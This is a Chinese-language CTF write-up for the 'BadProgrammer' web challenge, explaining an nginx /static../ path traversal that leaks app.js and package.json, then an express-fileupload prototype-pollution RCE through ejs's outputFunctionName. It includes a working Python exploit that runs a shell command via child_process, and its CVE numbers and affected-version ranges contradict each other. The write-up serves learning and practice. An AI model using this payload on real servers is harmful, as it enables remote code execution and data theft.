Web16-BadProgrammer(nginx源码泄露漏洞+express-fileupload原型链污染漏洞+express框架)
一.题目链接:
https://adworld.xctf.org.cn/challenges/list
二.源码分析
1.根据题目信息我们知道本题漏洞来源于代码没被设计好,存在漏洞**
#根据这处的关键代码,我们知道/static目录并没设置访问限制,因此我们以此为渗透点
<div class="column">
<h1 class="ui header">Thumbnails</h1>
<div class="ui divider"></div>
<img class="ui small image" src="/static/images/image.png">
</div>
</div>
<div class="row">
<div class="column">
<h1 class="ui header">Dropdown</h1>
<div class="ui divider"></div>
<div class="ui selection dropdown">
<input type="hidden" name="selection">
2.进入/static../文件下,此意思为:跳出/static/目录,访问更上层的文件,例如/根目录下的敏感文件。
#app.js
#//app.js是Express应用的入口,负责初始化,路由和启动服务
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
app.use(fileUpload({ parseNested: true }));
app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => {
res.render('flag.ejs');
});
app.get('/', (req, res) => {
res.render('index.ejs');
})
app.listen(3000);
app.on('listening', function() {
console.log('Express server started on port %s at %s', server.address().port, server.address().address);
});
#package.json
#这串代码告诉我们用的是1.1.7-alpha.4版本的express-fileupload,因此存在原型链漏洞
{
"name": "app",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"app": "node /app/app.js",
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"dependencies": {
"ejs": "^3.1.5",
"express": "^4.17.1",
"express-fileupload": "1.1.7-alpha.4"
}
}
三.基础知识
3.1 nginx源码泄露漏洞
- nginx:是最高性能的web服务器/反向代理,适合高并发,低延迟场景,也是一款前后端工具。前端主要用来托管代码文件,后端一般不直接使用。核心功能为静态托管,负载均衡,缓存,HTTPS支持等。优势有轻量级,易配置,资源占用低。
- 概念:由于配置错误或软件缺陷,或者Nginx服务器配置不当,身份验证机制不够严格,访问规则过于宽松等原因导致的,导致攻击者能够直接访问Nginx服务器的敏感文件(如源代码,配置文件,环境变量等)。在本题中就是对/static静态文件的访问规则或与宽松导致的,从而从/static目录下进行../../../目录穿透。
3.2 express-fileupload原型链污染漏洞(CVE-2022-24999 原型污染)
- 概念:
express-fileupload:是一个用于Express框架的中间件,专门用于处理文件上传的图片,文档等。当其版本小于1.1.6时,存在一种原型链污染漏洞,攻击者可以通过在上传文件的请求中设置特定的__proto__属性来污染原型链。- 在哪:所有版本低于1.1.8版本的,就会存在CVE-2020-7699漏洞,查看package.json文件,发现引用的expreess版本为1.1.7-alpha4,则存在该漏洞
- 用法:通过污染ejs中outFunctionName变量,实现远程代码执行(RCE)。简单说就是
3.3 express框架
- 概念:是一个基于Node.js的轻量级的Web应用框架,用于快速构建后端API或服务器渲染(SSR)应用
四.开始解题
1.查看网页源代码,发现静态文件存在于/static目录下

2.我们F12进入到networking后,刷新界面,可以看见用到了express框架

3.利用nginx配置错误,列出目录

3.得到app.is源码
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
app.use(fileUpload({ parseNested: true }));
app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => {
res.render('flag.ejs');
});
app.get('/', (req, res) => {
res.render('index.ejs');
})
app.listen(3000);
app.on('listening', function() {
console.log('Express server started on port %s at %s', server.address().port, server.address().address);
});

4.查看package.json源码,发现是1.1.7-alpha.4版本的express-fileupload,因此存在原型链漏洞,通过构造python代码攻击

import requests
resp1 = requests.post("http://{}:{}/{}".format('61.147.171.105', '57051', '4_pATh_y0u_CaNN07_Gu3ss'),
files={'__proto__.outputFunctionName':
(
None,
"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='cp /flag.txt /app/static/js/flag.txt')
)})
print(resp1)
#代码拆解:这是node.js代码注入:
#1.4_pATh_y0u_CaNN07_Gu3ss:根据app.js代码而来,根据这个可以得到flag.ejs
#2.files={'__proto__.outputFunctionName':(None,):通过这个污染object.prototype
#3."x;...;x":用x包裹,让恶意代码看着更像合法的
#4.console.log(1):是测试的简单输出
#5.process.mainModule.require('child_process').exec('{cmd}'):执行系统命令,将flag文件复制到web可访问目录
#5.1.process:node.js的全局对象,代表当前运行的进程
#5.2.process.mainModule:返回Node.js主模块(通常是启动脚本,如app.js),通过它可以访问所有已经加载的模块
#5.3.require('child_process'):动态加载node.js内置的child_process模块(用于创建子进程,执行系统命令)
#5.4.exec('{cmd}'):调用child_process.exec(),执行传入的系统命令(如cp /flag.txt...)
#它实际执行的命令是:cp /flag.txt /app/static/js/flag.txt:将服务器上的flag文件复制到静态目录,使攻击者可以通过web访问flag
#6.format(cmd='cp /flag.txt /app/static/js/flag.txt')
#6.1.format()的作用:str.format()用于将字符串格式化,这里的cmd起到一个占位符的作用,可以替换成任意有效的系统命令
#6.2.注意!!这里的flag.txt在js的目录下,/app/static/js/flag.txt,而且这里的/js可以不写,但是这里的文件路径必须是服务器本身就存在的,cp命令并不能自己创建路径,这个要靠经验猜测有哪些文件夹路径。
攻击成功后,访问/static/js下的flag.txt文件。因为攻击代码:format(cmd='cp /flag.txt /app/static/js/flag.txt')是把flag文件放在了js 下,这里是为了隐蔽性高,改成/etc或/var/www可能因为权限不够而无法访问

五.思路总结
参考wp:https://blog.csdn.net/aa2528877987/article/details/131255172
阅读源代码 --> 发现/static可以访问 --> 跳到该目录的上一级,访问里面比较重要的两个代码app.js和package.json文件 --> 发现由于版本的问题存在漏洞 --> 于是通过污染,将服务器的flag文件写入到浏览器上显示

浙公网安备 33010602011771号